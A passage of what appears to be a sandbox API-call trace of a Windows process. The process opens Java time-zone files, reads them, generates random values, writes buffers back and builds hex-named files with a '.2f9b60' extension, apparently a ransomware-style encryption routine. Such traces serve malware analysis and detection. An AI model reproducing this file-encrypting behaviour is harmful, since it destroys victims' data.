(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be30) returned 1 [0184.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cec7040 [0184.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be30 [0184.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0184.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7070 [0184.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7070) returned 1 [0184.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cec7070 [0184.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec70a0 [0184.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec70d0 [0184.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec70d0) returned 1 [0184.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0184.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be30) returned 1 [0184.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x423aaad0 [0184.227] SetFilePointerEx (in: hFile=0x2bdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0184.227] WriteFile (in: hFile=0x2bdc, lpBuffer=0x423aaad0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3135fd30, lpOverlapped=0x0 | out: lpBuffer=0x423aaad0*, lpNumberOfBytesWritten=0x3135fd30*=0x10c, lpOverlapped=0x0) returned 1 [0187.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c830 [0187.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ad30 [0187.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc110 [0187.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc110) returned 1 [0187.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cddc110 [0187.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc800 [0187.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc8c0 [0187.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc8c0) returned 1 [0187.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ad30) returned 1 [0187.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c830) returned 1 [0187.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1ce5ebf0 [0187.900] sprintf (in: _Dest=0x1ce5ebf0, _Format="%c%c" | out: _Dest="72") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ebf2, _Format="%c%c" | out: _Dest="b0") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ebf4, _Format="%c%c" | out: _Dest="8e") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ebf6, _Format="%c%c" | out: _Dest="dd") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ebf8, _Format="%c%c" | out: _Dest="59") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ebfa, _Format="%c%c" | out: _Dest="19") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ebfc, _Format="%c%c" | out: _Dest="70") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ebfe, _Format="%c%c" | out: _Dest="84") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ec00, _Format="%c%c" | out: _Dest="31") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ec02, _Format="%c%c" | out: _Dest="0d") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ec04, _Format="%c%c" | out: _Dest="07") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ec06, _Format="%c%c" | out: _Dest="bf") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ec08, _Format="%c%c" | out: _Dest="db") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ec0a, _Format="%c%c" | out: _Dest="36") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ec0c, _Format="%c%c" | out: _Dest="c5") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ec0e, _Format="%c%c" | out: _Dest="ac") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ec10, _Format="%c%c" | out: _Dest="13") returned 2 [0187.900] sprintf (in: _Dest=0x1ce5ec12, _Format="%c%c" | out: _Dest="00") returned 2 [0187.901] sprintf (in: _Dest=0x1ce5ec14, _Format="%c%c" | out: _Dest="ba") returned 2 [0187.901] sprintf (in: _Dest=0x1ce5ec16, _Format="%c%c" | out: _Dest="3b") returned 2 [0187.901] sprintf (in: _Dest=0x1ce5ec18, _Format="%c%c" | out: _Dest="10") returned 2 [0187.901] sprintf (in: _Dest=0x1ce5ec1a, _Format="%c%c" | out: _Dest="2c") returned 2 [0187.901] sprintf (in: _Dest=0x1ce5ec1c, _Format="%c%c" | out: _Dest="3d") returned 2 [0187.901] sprintf (in: _Dest=0x1ce5ec1e, _Format="%c%c" | out: _Dest="f1") returned 2 [0187.901] sprintf (in: _Dest=0x1ce5ec20, _Format="%c%c" | out: _Dest="8d") returned 2 [0187.901] sprintf (in: _Dest=0x1ce5ec22, _Format="%c%c" | out: _Dest="f3") returned 2 [0187.901] RtlInitAnsiString (in: DestinationString=0x3135fda8, SourceString="72b08edd59197084310d07bfdb36c5ac1300ba3b102c3df18df3" | out: DestinationString="72b08edd59197084310d07bfdb36c5ac1300ba3b102c3df18df3") [0187.901] RtlAnsiStringToUnicodeString (in: DestinationString=0x3135fd78, SourceString="72b08edd59197084310d07bfdb36c5ac1300ba3b102c3df18df3", AllocateDestinationString=1 | out: DestinationString="72b08edd59197084310d07bfdb36c5ac1300ba3b102c3df18df3") returned 0x0 [0187.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1ce5af30 [0187.902] RtlFreeAnsiString (AnsiString="7") [0187.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ebf0) returned 1 [0187.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc110) returned 1 [0187.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc800) returned 1 [0187.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aaad0) returned 1 [0187.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7070) returned 1 [0187.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec70a0) returned 1 [0187.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7040) returned 1 [0187.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7010) returned 1 [0187.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0bc0) returned 1 [0187.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0c20) returned 1 [0187.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b60) returned 1 [0187.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c237a0 [0187.907] wcscat (in: _Dest=0x42c237a0, _Source="72b08edd59197" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\72b08edd59197") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\72b08edd59197" [0187.907] wcscat (in: _Dest=0x42c237a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\72b08edd59197.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\72b08edd59197.2f9b60" [0187.907] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\72b08edd59197.2f9b60", NtPathName=0x3135fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\72b08edd59197.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0187.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b862930 Thread: id = 2817 os_tid = 0x19e4 [0159.919] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Djibouti" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\djibouti")) returned 0x20 [0165.809] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Djibouti", dwFileAttributes=0x20) returned 1 [0166.470] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Djibouti" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\djibouti"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c0c [0167.822] GetFileSizeEx (in: hFile=0x2c0c, lpFileSize=0x2c84f7e0 | out: lpFileSize=0x2c84f7e0*=65) returned 1 [0167.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18bd0 [0167.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19050 [0167.823] NtQuerySystemTime (in: CurrentTime=0x2c84f6a0 | out: CurrentTime=0x2c84f6a0*=132462177729334000) returned 0x0 [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x19e1537b [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x47d8141c [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x3833c84a [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x7ab3b1f6 [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x6ac9e958 [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x70f58a2e [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x7691ff88 [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x7587d07d [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x3c7356e9 [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x2a3d88f9 [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x529f84cd [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x6dafeba7 [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x1829febe [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x93516d1 [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x5a446510 [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x409c195b [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x13f67e5c [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x53e15dab [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x2c684121 [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x9b72341 [0167.823] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x29d8ec14 [0167.824] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x75063754 [0167.824] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x412dabe9 [0167.824] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x6d465c83 [0167.824] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x29484ee6 [0167.824] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x7645b362 [0167.824] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0xebf6656 [0167.824] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x20a23e07 [0167.824] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x77a161f5 [0167.824] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x400739d9 [0167.824] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0xa633198 [0167.824] RtlRandomEx (in: Seed=0x2c84f690 | out: Seed=0x2c84f690) returned 0x5a3cfe3c [0167.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19080 [0167.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e290 [0167.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18fc0 [0167.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e290) returned 1 [0167.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19050) returned 1 [0167.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c1f0 [0167.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e290 [0167.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424c4d60 [0167.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424c8970 [0167.834] ReadFile (in: hFile=0x2c0c, lpBuffer=0x424c4d60, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2c84f690, lpOverlapped=0x0 | out: lpBuffer=0x424c4d60*, lpNumberOfBytesRead=0x2c84f690*=0x41, lpOverlapped=0x0) returned 1 [0167.835] SetFilePointerEx (in: hFile=0x2c0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.835] WriteFile (in: hFile=0x2c0c, lpBuffer=0x424c8970*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x2c84f694, lpOverlapped=0x0 | out: lpBuffer=0x424c8970*, lpNumberOfBytesWritten=0x2c84f694*=0x41, lpOverlapped=0x0) returned 1 [0180.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e990 [0180.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc080 [0180.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc080) returned 1 [0180.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424c8970) returned 1 [0180.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424c4d60) returned 1 [0180.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e290) returned 1 [0180.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c1f0) returned 1 [0180.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cddc080 [0180.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c1f0 [0180.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e290 [0180.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbf00 [0180.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbf00) returned 1 [0180.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cddbf00 [0180.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbea0 [0180.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbde0 [0180.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbde0) returned 1 [0180.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e290) returned 1 [0180.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c1f0) returned 1 [0180.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x423a9920 [0180.395] SetFilePointerEx (in: hFile=0x2c0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.395] WriteFile (in: hFile=0x2c0c, lpBuffer=0x423a9920*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2c84f7b0, lpOverlapped=0x0 | out: lpBuffer=0x423a9920*, lpNumberOfBytesWritten=0x2c84f7b0*=0x102, lpOverlapped=0x0) returned 1 [0184.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0184.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d470 [0184.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7370 [0184.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7370) returned 1 [0184.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d740 [0184.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7370 [0184.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec73d0 [0184.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec73d0) returned 1 [0184.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d470) returned 1 [0184.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0184.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1cec73d0 [0184.295] sprintf (in: _Dest=0x1cec73d0, _Format="%c%c" | out: _Dest="4c") returned 2 [0184.295] sprintf (in: _Dest=0x1cec73d2, _Format="%c%c" | out: _Dest="c7") returned 2 [0184.295] sprintf (in: _Dest=0x1cec73d4, _Format="%c%c" | out: _Dest="8d") returned 2 [0184.295] sprintf (in: _Dest=0x1cec73d6, _Format="%c%c" | out: _Dest="07") returned 2 [0184.295] sprintf (in: _Dest=0x1cec73d8, _Format="%c%c" | out: _Dest="f2") returned 2 [0184.295] sprintf (in: _Dest=0x1cec73da, _Format="%c%c" | out: _Dest="bd") returned 2 [0184.295] sprintf (in: _Dest=0x1cec73dc, _Format="%c%c" | out: _Dest="4e") returned 2 [0184.295] sprintf (in: _Dest=0x1cec73de, _Format="%c%c" | out: _Dest="4a") returned 2 [0184.295] sprintf (in: _Dest=0x1cec73e0, _Format="%c%c" | out: _Dest="f8") returned 2 [0184.295] sprintf (in: _Dest=0x1cec73e2, _Format="%c%c" | out: _Dest="6b") returned 2 [0184.295] sprintf (in: _Dest=0x1cec73e4, _Format="%c%c" | out: _Dest="e3") returned 2 [0184.295] sprintf (in: _Dest=0x1cec73e6, _Format="%c%c" | out: _Dest="15") returned 2 [0184.295] sprintf (in: _Dest=0x1cec73e8, _Format="%c%c" | out: _Dest="db") returned 2 [0184.295] sprintf (in: _Dest=0x1cec73ea, _Format="%c%c" | out: _Dest="ee") returned 2 [0184.295] sprintf (in: _Dest=0x1cec73ec, _Format="%c%c" | out: _Dest="af") returned 2 [0184.295] sprintf (in: _Dest=0x1cec73ee, _Format="%c%c" | out: _Dest="60") returned 2 [0184.295] RtlInitAnsiString (in: DestinationString=0x2c84f828, SourceString="4cc78d07f2bd4e4af86be315dbeeaf60" | out: DestinationString="4cc78d07f2bd4e4af86be315dbeeaf60") [0184.295] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c84f7f8, SourceString="4cc78d07f2bd4e4af86be315dbeeaf60", AllocateDestinationString=1 | out: DestinationString="4cc78d07f2bd4e4af86be315dbeeaf60") returned 0x0 [0184.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd973a0 [0184.297] RtlFreeAnsiString (AnsiString="4") [0184.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec73d0) returned 1 [0184.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d740) returned 1 [0184.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7370) returned 1 [0184.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a9920) returned 1 [0184.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbf00) returned 1 [0184.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbea0) returned 1 [0184.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc080) returned 1 [0184.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e990) returned 1 [0184.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18bd0) returned 1 [0184.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19080) returned 1 [0184.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18fc0) returned 1 [0184.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x42c23170 [0184.301] wcscat (in: _Dest=0x42c23170, _Source="4cc78d07" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\4cc78d07") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\4cc78d07" [0184.302] wcscat (in: _Dest=0x42c23170, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\4cc78d07.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\4cc78d07.2f9b60" [0184.302] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\4cc78d07.2f9b60", NtPathName=0x2c84f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\4cc78d07.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0184.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ad810 Thread: id = 2818 os_tid = 0x19e8 [0159.921] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Douala" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\douala")) returned 0x20 [0165.810] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Douala", dwFileAttributes=0x20) returned 1 [0166.350] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Douala" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\douala"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2bb0 [0167.600] GetFileSizeEx (in: hFile=0x2bb0, lpFileSize=0x32e3f960 | out: lpFileSize=0x32e3f960*=65) returned 1 [0167.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1280 [0167.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0e90 [0167.601] NtQuerySystemTime (in: CurrentTime=0x32e3f820 | out: CurrentTime=0x32e3f820*=132462177727150000) returned 0x0 [0167.601] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x21bd13ac [0167.601] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x18ab1d49 [0167.601] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x33dbb178 [0167.601] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x68cc3a2c [0167.601] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x3626681e [0167.601] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x3b8348be [0167.601] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x446d11fd [0167.601] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x6d797821 [0167.601] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x392e8504 [0167.601] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0xadd31dd [0167.601] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x5cc8ca0 [0167.601] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x179e1c83 [0167.601] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x4cfa18d3 [0167.601] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x43f7f09e [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x5228150a [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x72ce95c1 [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x50c91b4 [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x69d81ce8 [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x76cb1a41 [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x1006329e [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x4c058ad3 [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x221a3c06 [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x4e69a9c [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x7181692c [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x3660d723 [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x3186eb3b [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x6bee3e74 [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x655def9a [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x7abaa573 [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x52904cd1 [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x769d0897 [0167.602] RtlRandomEx (in: Seed=0x32e3f810 | out: Seed=0x32e3f810) returned 0x33409458 [0167.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0e60 [0167.609] 